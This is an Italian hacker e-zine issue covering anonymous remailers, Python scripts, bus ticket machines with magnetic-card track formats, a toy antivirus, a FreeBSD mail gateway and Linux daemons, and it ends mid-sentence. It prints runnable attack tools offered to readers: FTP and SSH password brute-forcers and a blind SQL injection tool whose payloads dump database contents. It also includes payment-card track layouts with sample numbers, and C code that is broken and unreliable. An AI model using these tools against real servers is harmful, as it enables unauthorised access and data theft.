StartXAUTUNNO
Transcript
StartXAUTUNNO
Object 1 eYou are free LIBERTA E ANONIMATO Introduzione Benvenuti in questa edizione di StartX, ancora una volta scriveremo come sempre cose che non vengono mai dette, o dette a meta. Spero vi godiate questo numero di StartX mixminion mixminion e un implementazione del prodocollo remail, ma cose un protocollo anonyomous remailer? E un server che riceve un email contenente il messaggio e l'istruzzione di dove inviarlo, senza che pero il sudetto server rillevi le generalita della mail, quindi senza rillevare l'origine della mail i remailer pero si distinguono in due classi Tracciabili Il remailer stabilisce un elenco interno di mittenti reali e inventati in modo che il destinatario possa inviare una mail a nome con un nome di fantasia, e cosi la posta e uscita, nel caso il ricevente voglia scrivere un email e rispedirla al mittente il server consultala lista, e inoltra la posta al mittente originale, permettendo cosìuna comunicazzione anonima, anche se rintracciabile con accesso alla lista-comunicazione non tracciabili Il remail non tracciabile ha il vantaggio del anonimato in quanto a differenza del tracciabile esso non permettendo un interazzione bidirezzionale non ha bisogno che l'utente sia registrato su una lista Mixminion quindi e un remailer tracciabile in quanto puo inviare e ricevere in forma anonima l'email, mixminion usa un aproccio conservatore nel design in modo da garantire la sicurezza agli attacchi piu noti Gli sviluppatori hanno scelto un design semplice in poter fornire un sistema centrale robusto e poi sperimentare nuove funzionalità di ricerca come dummy policies, directory servers, and reputation systems inoltre questo remailer usa un'architettura di rete mix, che ha un forte anonimato, e quindi previene intercettazzioni ecc... ma come funziona la rete mix? I volontari eseguono dei server (chiamati "mix") che ricevono i messaggi, li decifrano, li ri-ordinano, e li ri-trasmettono verso la loro destinazione finale. Ogni e-mail passa attraverso una serie di mix in modo che nessun singolo mix può collegare mittenti con i destinatari. Inoltre mixminion per garantire un ulteriore anonimato prende l'e-mail la suddivide in dimensioni uniformi (detti pachetti) i pachetti vengono rillevati ed ogni pachetto viene inviato ad un mix diverso. Mixminion al momento della trasmissione del pachetto esso viene criptato con chiavi publiche per ciascun server quindi vuol dire che pachetto 1 per andare a server a possiede chiave 1a pachetto 2 a server b ha la chiave 2b ecc. Quindi il pachetto e stato criptato viene spedito al mix il quale lo decripta leggendone il destinatario, lo invia al sudetto ed con l'insieme dei pachetti che erano l'e-mail mixminion ricompone i pachetti in modo da ricostruire l'e-mail Mixminion e anche abilitato al SURBs (Single-Use Reply Blocks) Cose il SURBs? Un SURB codifica mezzo percorso per il destinatario, in modo che ogni mix in sequenza può scartare per ogni singolo strato di percorso e cifrare il messaggio per il destinatario. Quando il messaggio raggiunge il destinatario, il destinatario può decodificare il messaggio e imparare che SURB è stato utilizzato per inviare l'email e con questo concludiamo questa sfuggente occhiata a mix minion [by afr0] Poche righe di python Questo articolo si prepone l'obbiettivo di condividere piccoli script in python (mooollllttooooo semplici) che ho ritenuto possano essere utili Allora cominciamo con un problema, se io volessi vedere il codice di una pagina web e non il risultato grafico? import urllib import urllib2 print '='*50 print ("Andiamo a leggere il codice!!!!") print ("Make by afr0") print '='*50 sitesw=raw_input ('Site:') urlStr = (sitesw) coso= ('http://') try: fileHandle = urllib2.urlopen(coso+sitesw) str1 = fileHandle.read() fileHandle.close() print '-'*50 print 'HTML code of URL =', sitesw print '-'*50 except IOError: print 'Cannot open URL for reading', sitesw str1 = 'error!' print str1 con queste semplici stringhe andremo a vedere il codice HTML di una pagina, mah proseguiamo Proseguiamo con uno script python per una ircbot import socket network = 'irc.snm.co.nz' port = 6667 irc = socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) irc.connect ( ( network, port ) ) print irc.recv ( 4096 ) irc.send ( 'NICK botty\r\n' ) irc.send ( 'USER botty botty botty :Python IRC\r\n' ) irc.send ( 'JOIN #paul\r\n' ) irc.send ( 'PRIVMSG #Paul :Hello World.\r\n' ) while True: data = irc.recv ( 4096 ) if data.find ( 'PING' ) != -1: irc.send ( 'PONG ' + data.split() [ 1 ] + '\r\n' ) if data.find ( '!botty quit' ) != -1: irc.send ( 'PRIVMSG #paul :Fine, if you don't want me\r\n' ) irc.send ( 'QUIT\r\n' ) if data.find ( 'hi botty' ) != -1: irc.send ( 'PRIVMSG #paul :I already said hi...\r\n' ) if data.find ( 'hello botty' ) != -1: irc.send ( 'PRIVMSG #paul :I already said hi...\r\n' ) if data.find ( 'KICK' ) != -1: irc.send ( 'JOIN #paul\r\n' ) if data.find ( 'cheese' ) != -1: irc.send ( 'PRIVMSG #paul :WHERE!!!!!!\r\n' ) if data.find ( 'slaps botty' ) != -1: irc.send ( 'PRIVMSG #paul :This is the Trout Protection Agency. Please put the Trout Down and walk away with your hands in the air.\r\n' ) print data adesso vediamo un ftp brute force #!/usr/bin/python import random, string, ftplib from ftplib import FTP def bruteforce(server, username, user_min_length, user_max_length, pass_min_length, pass_max_length): chars = string.ascii_uppercase + string.ascii_lowercase + string.digits try: ftp_conn = FTP(server) except ftplib.all_errors: print 'connection to ' + server + ' failed!\n' input() exit() else: print 'successfully connected to ' + server + '\n' ftp_conn.close() del ftp_conn while 1: if username == '': count_chars = 1 random_username = '' while count_chars <= random.randint(user_min_length, user_max_length): random_username = random_username + chars[random.randint(0, len(chars) - 1)] count_chars = count_chars + 1 ftp_username = random_username else: ftp_username = username count_chars = 1 random_password ='' while count_chars <= random.randint(pass_min_length, pass_max_length): random_password = random_password + chars[random.randint(0, len(chars) - 1)] count_chars = count_chars + 1 ftp_password = random_password try: ftp_conn = FTP(server) except ftplib.all_errors: print 'connection to server lost...\n' break print 'trying username ' + ftp_username + ' with password ' + ftp_password + '\n' try: ftp_conn.login(ftp_username, ftp_password) except ftplib.all_errors: pass else: print 'brute force succeeded!\nusername: ' + ftp_username + '\npassword: ' + ftp_password + '\nserver: ' + server + '\n' break ftp_conn.close() del ftp_conn ftp_conn.close() print 'FTP Brute Force program\n\n' print 'v0.1\n\n' print 'By Yotam\n\n' address = raw_input('enter the server address:\n') username_opts = input('choose one of those options:\n1) I have the username, guess only the password.\n2) guess the username too.\n') if username_opts == 1: username_ftp = raw_input('enter username:\n') u_min_l = 0 u_max_l = 0 elif username_opts == 2: u_min_l = input('enter username min length:\n') u_max_l = input('enter username max length:\n') username_ftp = '' else: print('error\n') input() exit() p_min_l = input('enter password min length:\n') p_max_l = input('enter password max length:\n') bruteforce(address, username_ftp, u_min_l, u_max_l, p_min_l, p_max_l) print '\n' input() ____________________________________________________________ e se ora volessimo un ssh brute force #!/usr/bin/python import paramiko import itertools,string,crypt PASSSIZE = 5 IPADDRESS = "127.0.0.1" USERNAME = "test" SSHPORT=22 # # Generates a password of containing only digits with a size of PASSSIZE # ## To get other combinations pass the following values as the first argument to itertools.combinations # string.punctuation+string.ascii_letters+string.digits # string.ascii_letters+string.digits var = itertools.combinations(string.digits,PASSSIZE) try: for i in var: passwd = ''.join(i) ssh = paramiko.SSHClient() ssh.load_system_host_keys() ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy()) try: ssh.connect(IPADDRESS , port=SSHPORT, username=USERNAME, password=passwd) print "Connected successfully. Password = "+passwd break except paramiko.AuthenticationException, error: print "Incorrect password: "+passwd continue except socket.error, error: print error continue except paramiko.SSHException, error: print error print "Most probably this is caused by a missing host key" continue except Exception, error: print "Unknown error: "+error continue ssh.close() except Exception,error : print error E se volessimo un sqlinject? #!/usr/bin/python2.7 # Toolname : sqlinjector.py # Programmer : # Version : 1.0 import sys,re,urllib2,string,time from optparse import OptionParser from urllib2 import Request,urlopen,URLError,HTTPError Previous_Msg = "" Previous_Filename = "" Files = [] Messages = [] Urls = [] def banner(): print "#########################" print "## sqlinjector v1.0 ##" print "## ##" print "#########################\n" def request(URL): user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' } req = urllib2.Request(URL, None, user_agent) try: request = urllib2.urlopen(req) except HTTPError, e: print('[!] The server couldnt fulfill the request.') print('[!] Error code: ' + str(e.code)) sys.exit(1) except URLError, e: print('[!] We failed to reach a server.') print('[!] Reason: ' + str(e.reason)) sys.exit(1) return len(request.read()) def value(URL): target = 0 end = 0 next_maybe = 0 floor = 0 ceiling = 255 maybe = int(ceiling)/2 while(end != 9): if(is_what(URL, maybe, '>')): floor = maybe next_maybe = int(maybe + ((ceiling - floor)/2)) elif(is_what(URL, maybe, '<')): ceiling = maybe next_maybe = int(maybe - ((ceiling - floor)/2)) elif(is_what(URL, maybe, '=')): return chr(maybe) maybe = next_maybe end += 1 return 'done' def is_what(URL, maybe, op): if(sqli_type == 'boolean'): ValueResponse = int(request(str(URL) + str(op) + str(maybe) + '-+')) if(TrueResponse == ValueResponse): return 1 else: return 0 elif(sqli_type == 'time'): start = time.time() ValueResonse = request(str(URL) + str(op) + str(maybe) + ')*2)--+') elapsed_time = (time.time() - start) if (elapsed_time > 2): return 1 else: return 0 def vuln_check(URL): print('[+] Checking site...') global TrueResponse TrueResponse = int(request(URL + '%20AND%2043%20like%2043-+')) FalseResponse = int(request(URL + '%20AND%2034%20like%2043-+')) if(TrueResponse != FalseResponse): print('[+] Site seems to be vulnerable to boolean based blind SQL injection.') return 'boolean' else: start = time.time() SleepResponse = request(URL + '%20and%20sleep(5)--+') elapsed_time = (time.time() - start) if(elapsed_time > 5): print('[+] Site seems to be vulnerable to time based blind SQL injection.') return 'time' else: print('[!] Seems like site isnt vulnerable to blind SQL injection.') sys.exit(1) def main(): print(''' Auto BSQLi tool for MySQL ''') usage = 'usage: %prog -u <target> -i <injection>' parser = OptionParser(usage=usage) parser.add_option("-u", action="store", type="string", dest="URL", help='"http://site.tld/index.php?id=1%27"') parser.add_option('-i', action='store', type='string', dest='INJECTION', help='"select version()"') (options, args) = parser.parse_args() if(options.URL and options.INJECTION): URL = options.URL INJECTION = urllib2.quote(options.INJECTION.encode("utf8")) else: print('[!] Missing url or injection parameter.') print('[!] Use --help.') sys.exit(1) global sqli_type sqli_type = vuln_check(URL) position = 1 dump = '' print('[+] Dumping data...') while(1): if(sqli_type == 'boolean'): letter = value(URL + '%20and%20ascii(substr((' + INJECTION + ')%20from%20' + str(position) + '%20for%201))') elif(sqli_type == 'time'): letter = value(URL + '%20and%20sleep((select%20ascii(substr((' + INJECTION + ')%20from%20' + str(position) + '%20for%201))') if(letter == 'done'): break dump = dump + letter position += 1 if(dump): print('[+] Data: ' + dump) else: print('[!] No data dumped. Check your injection.') if __name__ == "__main__": main() Macchine oblitera biglietti autobus Quello che non sapevate Caratteristiche operative Acquisto biglietti precodificati a bordo formato ISO 7813* (54x86 mm) in modalità self-service Convalida biglietti acquistati a terra mediante stampa termica diretta • Convalida tessere contactless secondo standard ISO 14443 A/B** - ISO 15693***; ISO/IEC 14443- 2:2001/FPDAM 2 2004-03-17 Dispenser con capacità di circa 400 biglietti. Pagamento con monete dei seguenti conii: Euro 0,05-0,10-0,20-0,501,00-2,00 (0,01 e 0,02 opzionali) • Interfaccia utente tramite display alfanumerico LCD 4 righe x 16 caratteri *ISO 7813: è uno standard internazionale codificata dalla International Organization for Standardization e Commissione elettrotecnica internazionale che definisce le proprietà di carte di transazioni finanziarie,ad esempio,bancomat o carte di credito . I definisce standard: •caratteristiche fisiche, come ad esempio le dimensioni, la forma, la posizione di banda magnetica, ecc •strutture dati pista magnetica ISO / IEC 7813 specifica le seguenti caratteristiche fisiche della scheda, principalmente con riferimento ad altri standard: Caratteri in rilievo con riferimento alla norma ISO / IEC 7811 Goffratura di data di scadenza il formato, ad esempio MM / AA o MM-AA Banda magnetica con riferimento alla norma ISO / IEC 7811 Circuito integrato con contatti con riferimento alla norma ISO / IEC 7816-1 Circuito integrato senza contatti con riferimento alla norma ISO / IEC 10536-1,ISO / IEC 14443-1 oISO / IEC 15693-1, a seconda dei casi TRACCE MAGNETICHE Traccia 1 La struttura del binario 1 è specificato come: •STX: Avviare sentinella "%" •FC: codice Format "B" (Il formato descritto qui Format "A" è riservato per uso esclusivo..) •PAN: Primary Account Number, fino a 19 cifre •FS: Separator "^" •NM: Nome, da 2 a 26 caratteri (compresi i loro separatori, se del caso, tra cognome, nome, ecc) •FS: Separator "^" •ED: i dati di scadenza, 4 cifre o "^" •SC: Codice di servizio, 3 cifre o "^" •DD: dati discrezionale, equilibrio di personaggi •ETX: "?" End sentinel •LRC:controllo di ridondanza longitudinale, calcolato in base alla norma ISO / IEC 7811-2 La lunghezza massima di registrazione è di 79 caratteri alfanumerici. Campioni % B6011898748579348 ^ DOE / JOHN ^ 37829821000123456789? % B6011785948493759 ^ DOE / JOHN L ^^^ 0000000 00998000000? Traccia 2 La struttura traccia 2 è specificato come: •STX: Avviare sentinella ";" •PAN: Primary Account Number, fino a 19 cifre, come definito nella norma ISO / IEC 7812-1 •FS: Separator "=" •ED: Data di scadenza, YYMM o "=", se non presente •SC: Codice di servizio, 3 cifre o "=", se non presente •DD: dati discrezionale, equilibrio di cifre disponibili •ETX: "?" End sentinel •LRC: controllo di ridondanza longitudinale, calcolato in base alla norma ISO / IEC 7811-2 La lunghezza massima di registrazione è di 40 cifre numeriche. Traccia 3 Traccia 3 è praticamente inutilizzato dalle maggiori reti mondiali e spesso non è nemmeno fisicamente presente sulla scheda in virtù di una banda magnetica stretto. Una notevole eccezione è la Germania, dove Traccia 3 contenuto è stato utilizzato a livello nazionale come la fonte primaria di autorizzazione e informazioni di compensazione per l'elaborazione delle carte di debito prima dell'adozione delle "SECCOS" standard ICC. Traccia 3 è standardizzato a livello nazionale per contenere sia il numero di conto bancario e il ramo sorta di codice del titolare della carta (BLZ). Programmazione Analisi pista 1 e la pista 2 può essere fatto con le espressioni regolari. Incluso qui è solo l'espressione regolare per l'analisi di traccia 1. Traccia 1 ^% ([AZ]) ([0-9] {1,19}) \ ^ ([^ \ ^] {2,26}) \ ^ ([0-9] {4} | \ ^) ([ 0-9] {3} |?? \ ^) ([^ \] +) \ $ Questo Regex catturerà tutti i settori importanti nei seguenti gruppi: •Gruppo 1: Formato codice •Gruppo 2: Primary Account Number (PAN) •Gruppo 3: Nome •Gruppo 4: Data di scadenza •Gruppo 5: Codice del servizio •Gruppo 6: dati discrezionale ** ISO 14443 A/B: definisce lo standard di una contactless smartcard usata nei sistemi di bigliettazione elettronica, identificazione di persone e oggetti, sistemi di pagamento, controllo di accessi. Recentemente gli standard ICAO per i documenti di viaggio leggibili automaticamente (tramite macchine) specificano la formattazione dei file per la firma crittograficae i protocolli di autenticazione per memorizzare elementi biometrici(fotografia del viso, impronte digitali, o dell'iride). Si tratta di uno standard e non di una normativa: la normativa è una disposizione che deve essere obbligatoriamente rispettata, a uno standard si aderisce per scelta. Tutti i dispositivi che rispettano lo standard ISO 14443 possono comunicare tra di loro senza problemi (concetto riassunto nel termine interoperabilità). Lo standard è stato sviluppato dal comitato tecnico congiunto ISO e IEC e viene quindi indicato anche come ISO/IEC 14443. I lettori a Radio Frequency Identification (RFID) usano un microcontrollore interno (inclusivo del proprio microprocessore e diversi tipi di memoria) e un'antenna a loop magnetico che funziona a 13,56 MHz (RFID frequency). Frequenza che appartiene alla banda detta HF. I dispositivi sono solo passivi (non hanno un sistema di alimentazione autonoma: al momento della operazione di lettura o scrittura si alimentano mediante il campo elettromagnetico emesso dal dispositivo che li interroga). Le caratteristiche fisiche delle smart card sono definite dallo standard ISO 7810 ID-1. La compatibilità per le smart card è richiesta per le 4 parti dello standard ISO 14443: •Parte 1: caratteristiche fisiche; •Parte 2: radiofrequenza e modulazione (modalità A o modalità B); •Parte 3: inizializzazione ed anticollisione; •Parte 4: protocollo di trasmissione. Lo standard descrive due tipi di carte: Tipo A e Tipo B. La distinzione tra carte A e carte B della norma è relativa alle modalità di modulazione del segnale, che è esplicitata nella parte 2 dello standard. La parte 4 della ISO 14443 descrive invece il protocollo di alto livello utilizzato (chiamato T=CL), che vale sia per la A che per la B. Il protocollo T=CL specifica i blocchi, gli exchange dei blocchi e i meccanismi 1.data block chaining 2.waiting time extension 3.multi-activation L'ISO 14443 usa i seguenti termini per i dispositivi tra cui si instaura la comunicazione e lo scambio di dati (definite nella parte 1 dello standard): •PCD— lettore (Proximity Coupling Device) •PICC— carta di prossimità con circuito integrato (Proximity Integrated Circuit Cards) Carte Mifare e carte Calypso Le carte Mifare ottemperano alla ISO 14443 parte 1, 2 e 3 (type A). Per le carte Mifare esistono 2 famiglie: •carte Mifare Standard (Ultralight, Ultralight C, Classic 1 kBytes e 4 kB, Plus S ed X 2kBytes o 4kBytes, DESFire). Rispondono alla ISO 14443 1, 2 (A), 3, non alla la parte 4 dello standard (hanno un protocollo proprietario). Inoltre sono carte a memoria (senza microprocessore), sono quindi adatte solo per applicazioni "semplici". •carte T=CL (ProX e SmartMX). Rispondono alla ISO 14443 1, 2 (A), 3 e anche alla parte 4. Sono carte con microprocessore, e sono quindi adatte per applicazioni "complesse". Le carte Calypso ottemperano alla ISO 14443-B. Sono dotate di microprocessore (possono quindi gestire applicazioni complesse), rispondono a tutti i 4 punti della norma e seguono la modulazione di tipo B. ***ISO 15693: è uno standard internazionale della International Organization for Standardization per le carte di vicinanza, ovvero le smart card che possono essere lette e scritte a distanza maggiore rispetto alle contactless smartcard (regolate invece dallo standard ISO 14443). Le carte di vicinanza e le contactless smartcard appartengono alla famiglia delle "carte di prossimità". Il sistema ISO 15693 opera sulla frequenza 13.56 MHz, e offre una distanza di lettura di 1–1,5 metri. Poiché le vicinity card devono operare a distanza, sono necessari campi magnetici inferiori (da 0,15 a 5 A/m) rispetto a quelli impiegati nelle carte di prossimità (da 1,5 a 7,5 A/m). La comunicazione dal lettore alla carta usa l'amplitude-shift keying con indice di modulazione del 10% o 100%. La codifica dei dati è come segue: 1 out of 4 (1 su 4) pulse-position modulation 2 bit sono codificati come un impulso con una pausa di 9,44 μs in un simbolo di 75,52 μs, il che risulta in un bitrate di 26,48 kilobits per secondo; i bit meno significativi vengono inviati per primi. 1 out of 256 (1 su 256) pulse-position modulation 8 bit sono codificati come un impulso con una pausa di 9,44 μs in un simbolo di 4,833 ms, il che risulta in un bitrate di 1,65 kilobits per secondo. La carta ha due sistemi per inviare i dati verso il lettore: Amplitude Shift Keying Amplitude-shift keying indice di modulazione al 100% su una (sotto)portante di 423,75 kHz. Il data rate può essere: Low (basso) a 6,62 kbit/s (freq/2048) High (alto) a 26,48 kbit/s (freq/512) Uno 0 logico inizia con 8 impulsi di 423,75 kHz, seguiti da un tempo senza modulazione di 18,88 μs (256/ freq); un 1 logico è all'opposto. I delimitatori di un pacchetto dati sono simboli illegali del codice. Un segnale di inizio del frame è: 1.un periodo senza modulazione di 56,64 μs (768/freq), 2.24 impulsi di 423,75 kHz 3.un 1 logico e il segnale di fine frame è: 1.uno 0 logico 2.24 impulsi di 423,75 kHz 3.un periodo senza modulazione di 56,64 μs I dati vengono inviati codificati con unacodifica Manchester. Frequency Shift Keying frequency-shift keying alternando fra una (sotto)portante a 423,75 kHz (freq/32) e una (sotto)portante a 484,25 kHz (freq/28). Il data rate può essere: Low (basso) a 6,67 kbit/s (freq/2032) High (alto) 26,69 kbit/s (freq/508) Uno 0 logico inizia con 8 impulsi a 423,65 kHz seguiti da 9 impulsi a 484,28 kHz; un 1 logico è all'opposto. I delimitatori di un pacchetto dati sono simboli illegali del codice. Un segnale di inizio del frame è: 1.27 impulsi a 484,28 kHz 2.24 impulsi 423,75 kHz 3.un 1 logico e il segnale di fine frame è: 1.uno 0 logico 2.24 impulsi a 423,75 kHz 3.27 impulsi a 484,28 kHz I dati vengono inviati codificati con una codifica Manchester. Caratteristiche gestionali: • Identificazione degli operatori e del loro profilo operativo mediante carta contacless • Aggiornamento dei dati di configurazione mediante carta contacless, computer di bordo o palmare • Scarico dei dati consuntivi di rendicontazione mediante carta contactless o palmare • Scarico dei dati consuntivi di rendicontazione mediante modulo GSM/GPRS opzionale • Accesso all’incasso mediante procedura sicura con cassaforte monete autosigillante dopo l’estrazione • Autodiagnosi e gestione automatica degli allarmi, quali fine biglietti e eventuali allarmi tecnologici. • Programmabilità del prezzo del biglietto e della data di entrata in vigore di una nuova tariffa. • Possibilità di comunicare con altri apparati presenti sulla vettura tramite porta seriale RS232 o RS485* • Possibilità di comunicare tramite GSM/GPRS (opzionale) o computer palmare (interfaccia seriale o Bluetooh) o smart card • Controllo apparecchiatura da console autista (opzionale) CPU: • Memoria di programma: 256Kbytes flash. • Memoria operativa: 16 Kbytes Ram. • Memoria dati di Back-up: 32+2 Kbytes EEprom. • Interfacce: RS232/ I/O digitali/RS485 Lettore/codificatore contactless: • Compatibilità ISO 14443 A/B - ISO 15693; ISO/IEC 144432:2001/FPDAM 2 2004-03-17 • Tipologia di carta Smart card contactless • Interfaccia High power class 1 RF interface • Trasmissione dati High-speed communication: da 106 Kb/s a 424 Kb/s; • Crittografia: Cryptographic security management con modulo SAM + Mifare® asic • Marchi CE EN300330, EN301 489-3, EN60950-1 Modulo Emissione Biglietti: • Trascinamento dei biglietti: con ruote dentate in prossimità dei bordi lunghi • Sfogliamento dei biglietti: con coppia di ruote gommate contro rotanti • Tipo biglietti: Cartoncino • Dimensioni dei biglietti: formato carta di credito (ISO 7813 – 54 x 85,6 mm circa) • Spessore dei biglietti: da 0.2 mm a 0.3 mm • Velocità di emissione: 0,5 secondi • Contenuto magazzino: circa 400 biglietti • Sensori: Inceppamento biglietto, riserva biglietti, magazzino vuoto • Corrente assorbita: 70 mA a riposo, 2A durante l’emissione CONCLUSIONI Vi starete chiedendo perche ho scritto una sorta di manuale sulle machinette dei ticket dei bus, molto semplicemente molte volte si guarda il mondo e se si fanno domande si ottiene la risposta: ma cosa te ne frega! Lo scopo delle mie publicazioni, anzi il mio e appunto rompere sta catena e chi vuole conoscere e sapere abbia la possibilita di farlo -afr0 Antivirus, dolori e amori Cos'è quest'articolo? bhe come tutti prima o poi ci si chiede: come lavora? ne posso fare uno mio? La risposta a tutto cio e si! mah incominciamo dalla base, quindi facciamo che siamo su windows non sappiamo programmare, sappiamo solo fare piccoli script batch allora incominciamo creando uno script batch per avere una lista dei file che abbiamo ----echo off cd %USERPROFILE%/Documents dir /B /ON /S *.* > C:\Users\test\1.txt cd %USERPROFILE%/Pictures dir /B /ON /S *.* > C:\Users\test\2.txt cd %USERPROFILE%/Music dir /B /ON /S *.* > C:\Users\test\3.txt cd %USERPROFILE%/Downloads dir /B /ON /S *.* > C:\Users\test\4.txt pause -----Questo script creera a file con estensione txt, nei quali avremo una lista di tutti i file presente rispettivamente nelle cartelle: Documenti, foto, musica e downloads quindi ora sappiamo dove e ogni singolo file, quindi sappiamo dove dirigerci, e in piu facendolo di volta in volta potremo tenere sott'occhio tutti i nuovi file dentro il nostro pc ad esempio ------echo off cd C: dir /B /ON /S *.* > C:\Users\test\1.txt pause ------Cosi analizzeremo tutto il disco principale e creeremo un file contenente la lista di ogni singolo file presente dentro, e l'esatta posizzione ok mah poi? allora questo serve per un primo controllo creando i file e poi paragonandoli, cosi si notano subito i file non immessi da noi e non ma ora sappiamo la lista di file, ok mah come si fa a sapere se quello e un virus o meno? facciamo un salto in dietro, bisogna cercare una determinata riga di testo in un determinato file quindi: ---------echo off findstr /i /c:"sono un virus" "C:\Users\test\virus.txt --------e questo sara il risultato -------sono un virus C:\users> ------bene mah ora il problema e riutilizzare la cosa per un eseguibile ( un .exe) in quanto questo semplice cerca dentro il file non riesce ad vedere dentro i file .exe, quindi quale la proposta della rivista?? Unire il primo script, con un file in C Il file in C analizza il file (anche. Exe) mentre il primo script fara un report Dei file che ci sono sul pc, in modo da tenere doppiamente tutto sotto controllo Allora questo e il source in C // Author: Lavneet Sharma // The program written below is an exclusive property of www.freaksense.com #include <dirent.h> #include <string.h> #include <fstream.h> #include <conio.h> #include <stdio.h> #include <stdlib.h> #include <iostream.h> int scan_this(char *file_name) { char *pattern, *line_in_file; char file_ch, ch; int val, val2, flag; ifstream fin3, fin4; fin3.open(file_name); // incase the file is not accesible if(!fin3) return 0; else // file is accessible | 100% it is a file. { //Opening Virus Database File fin4.open(“db.txt”); // Questo e il DATABASE DEI VIRUS for(;;) { fin4>>pattern; if(!strcmp(pattern,”<-“)) { fin4>>pattern; if(!strcmpi(pattern,”End”))return -1; else if(!strcmpi(pattern, “virus”)) { if(flag) return 1; else continue; } } else if(!strcmpi(pattern,”LINE”)) { fin4>>val; // got the line number // skipping initial lines to reach the line number for(int i=0;i<val-1;i++) { fin3.getline(line_in_file, 300); } fin4>>val; // got the character number fin4>>file_ch; // got the character //skipping initial character to reach the character for(i=0;i<val-1;i++) { fin3.get(ch); } if(file_ch == ch) flag = 1; // matched. else flag =0; fin3.seekg(0); // set to start } } } } void main() { char comm[300], dirpath[100], file_name[200]; char ask; int response; ifstream fin; cout<<“Enter Directory you want to scan: “; cin>>dirpath; strcpy(comm, “dir “); strcat(comm, “dirpath /b /s >tmp.$$$”); system(comm); fin.open(“tmp.$$$”); while(!fin.eof()) { fin.getline(file_name, 200); response = scan_this(file_name); if(response == 1) { cout<<“<–!! Caution.! A Virus has been Detected..!”; cout<<“n”<<file_name; cout<<“nPress Enter Key to Delete it.”; ask= getch(); if(ask == 13) { remove(file_name); // delete the virus } } } fin.close(); cout<<“Scan Complete.!! Thank You for using our anti virus”; getch(); } mah come creare il file db.txt? Sembra banale mah dovrete cercare i virus aprirli ad esempio con note pad ed nel file db.txt scrivere ora dobbiamo pachettizare il codice useremo gcc quindi 1) gcc -c antvirus.c 2) gcc antvirus.o -o antvirus.exe Quindi ora abbiamo un file batch che controlla tutto il software installato e fa un file con su scritto, cosa e dove ed abbiamo un file scritto in C che analizza il codice dei software Direi che possiamo assemblare il tutto echo off echo stai avviando un analisi del tuo pc pause cd C: dir /B /ON /S *.* > C:\Users\afr0\Desktop\adami\test\1.txt pause start /d "C:\Users\test\" antvirus .exe pause echo l'analisi e finita pause Bene ovviamento questo e un rudimentale e semplicissimo antivirus ovviamente non vi aspettate che trovi anche il santo graal pero da questa base potete continuare a migliorare ed..... ringrazzio: www.freaksense.com per il codice in C Email gateway con BSD Incominciamo e necessario updare FreeBSD Port tree quindi da linea #cd /usr/ports #portsnap fetch update ora installiamo Postfix MTA #cd /usr/ports/mail/postfix #make install clean #cd /usr/local/etc/postfix #postalias aliases installiamo MailScanner #cd /usr/ports/mail/mailscanner #make install clean ora configuriamo Postfix MTA, per farlo dobbiamo editare il file: main.cf andamiamo a vedere il file ( il file si trova: /usr/local/etc/postfix) myhostname = mailgw.acme.local mydomain = localhost inet_interfaces = all mydestination = $myhostname, localhost.$mydomain, localhost mynetworks_style = host mynetworks = 192.168.0.0/24, 127.0.0.0/8 relay_domains = acme.local transport_maps = hash:/usr/local/etc/postfix/transport header_checks =regexp:/usr/local/etcpostfix/header_checks Ora bisogna creare il transport_maps il cui contenuto e rispettivamente acme.local smtp:[192.168.0.2] bene quindi per crearlo andiamo da linea ed: #cd /usr/local/etc/postfix #vi transport #portmap transport #cd /usr/local/etc/postfix #vi header_checks Il sendmail predefinito in FreeBSD e MTA, sara necessario disabilitarlo ed abilitare postfix al boot di start quindi #cd /etc/rc.conf # ed apriamo il file rc.conf sendmail_enable=”NONE” sendmail_msp_queue_enable=”NO” sendmail_outbound_enable=”NO” sendmail_submit_enable=”NO” postfix_enable=”YES" bene fatto cio non rimane che configurare il MailScanner per farlo bisogna editare il file MailScanner.conf, che si trova: /usr/local/etc/MailScanner/MailScanner.conf questi riportati sotto i parametri base necessari per conficurarlo %org-name% = ACME %web-site% = www.acme.local Run As User =postfix Run As Group =postfix Incoming Queue Dir = /var/spool/postfix/hold Outgoing Queue Dir = /var/spool/postfix/incoming MTA =postfix Virus Scanners = clamav Still Deliver Silent Viruses = yes SpamAssassin User State Dir = /var/spool/MailScanner/spamassassin I virus silenziosi non dovrebbero essere usati in una produzione ambiente, perché il sistema invierà migliaia di Messaggi MailScanner agli utenti. le prestazioni aumentando in base al parametro Max Children. Tenete a mente ogni processo consuma 20 MB. qundi procediamo acreare le autorizzazioni necessarieper directory e poi configurare. #mkdir -p / var / spool / Mailscanner / incoming && mkdir / var / spool / Mailscanner / quarantena && mkdir / var / spool / Mailscanner / spamassassin #chown -R postfix: postfix / var / spool / Mailscanner #chmod -R 775 / var / spool / Mailscanner Modificare il file /etc/rc.conf per abilitare MailScanner, ClamAV e SpamAssassin per avviare al boot mailscanner_enable=”YES” spamass_milter_enable=”YES” spamd_enable=”YES” clamav_clamd_enable=”YES” clamav_milter_enable=”YES” clamav_freshclam_enable=”YES” Analisi Per testare il sistema, è necessario configurare il SMTP client di posta elettronica per utilizzare il gateway di posta. Nel mio test, ho configurato un record MX che punta al gateway di posta ambientato in mio cliente. Ho usato il file EICAR per testare il malware rilevamento e risposta del sistema. Quando si invia un file infetto, il sistema pulisce il messaggio, inoltra al destinatario e avvisa il mittente Demone Linux COSE? Un demone (o un servizio) è un processo in background che è stato progettato per funzionare in modo autonomo COSA OCCORRE? Prima di tutto, avrete bisogno dei seguenti pacchetti installati sulla vostra macchina Linux per sviluppare demoni, in particolare: + GCC 3.2.2 o superiore + Header per lo sviluppo di Linux e le librerie + Se il sistema non dispone già di questi installato (non probabile, ma controllare in ogni caso), ne avrete bisogno per sviluppare gli esempi in questo guida. Per scoprire quale versione di GCC si è installato, +utilizzare: gcc — version STRUTTURA Quando un demone si avvia, ha a che fare un po ‘di basso livello domestico per ottenere per sé pronta per il suo vero lavoro. Questo richiede alcuni passaggi: Fork il processo padre Cambia modalità maschera file (umask) Aperto tutti i registri per la scrittura Creare un ID univoco di sessione (SID) Cambiare la directory di lavoro corrente in un posto sicuro Chiudi descrittori di file standard Inserisci il codice vero demone FORK Un demone avviene o dal sistema stesso o un utente in un terminale o script. Quando viene avviato, il processo è come qualsiasi altro eseguibile sul sistema. Per rendere veramente autonoma, un processo figlio debbano essere creati laddove il codice vero e proprio viene eseguito. Questo è noto come biforcazione, e 